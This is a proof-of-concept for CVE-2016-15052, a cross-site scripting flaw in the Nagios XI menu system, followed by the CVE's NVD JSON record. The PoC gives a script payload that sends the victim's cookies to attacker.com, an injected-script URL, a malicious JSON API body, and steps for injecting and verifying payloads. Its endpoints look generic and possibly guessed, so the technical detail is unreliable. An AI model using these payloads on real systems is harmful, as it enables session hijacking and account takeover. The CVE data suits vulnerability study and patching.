CVE-2016-15052

<!-- CVE-2016-15052 PoC - Nagios XI Menu System XSS --> <!-- This PoC demonstrates XSS via Menu System in Nagios XI < 5.2.4 --> <!-- Attack Scenario 1: Malicious menu item name --> <script>alert('XSS - CVE-2016-15052');document.location='https://attacker.com/steal?cookie='+document.cookie;</script> <!-- Attack Scenario 2: URL parameter injection --> <!-- Target URL: https://vulnerable-server/nagiosxi/includes/components/nagioscore/ui/menu.php --> <!-- Malicious URL: --> <!-- https://vulnerable-server/nagiosxi/includes/components/nagioscore/ui/menu.php?menu=<script>alert('XSS')</script> --> <!-- Attack Scenario 3: JSON payload for API endpoints --> <!-- POST /nagiosxi/api/v1/menu/items --> <!-- {"name": "<script>alert(document.cookie)</script>", "url": "/test"} --> <!-- Recommended testing approach: --> <!-- 1. Identify menu-related endpoints in Nagios XI --> <!-- 2. Test input fields for XSS filter bypass --> <!-- 3. Use Burp Suite or similar tool to intercept and modify requests --> <!-- 4. Inject XSS payloads and verify execution --> <!-- Defense: Ensure all user inputs are properly validated and encoded before output -->

{"cve": {"id": "CVE-2016-15052", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:37.107", "lastModified": "2025-11-05T18:27:18.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.2.4 are vulnerable to cross-site scripting (XSS) via the Menu System of the web interface. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.2.4", "matchCriteriaId": "09DA597F-758E-46A7-BDA9-0562F98227A7"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-xss-via-menu-system", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}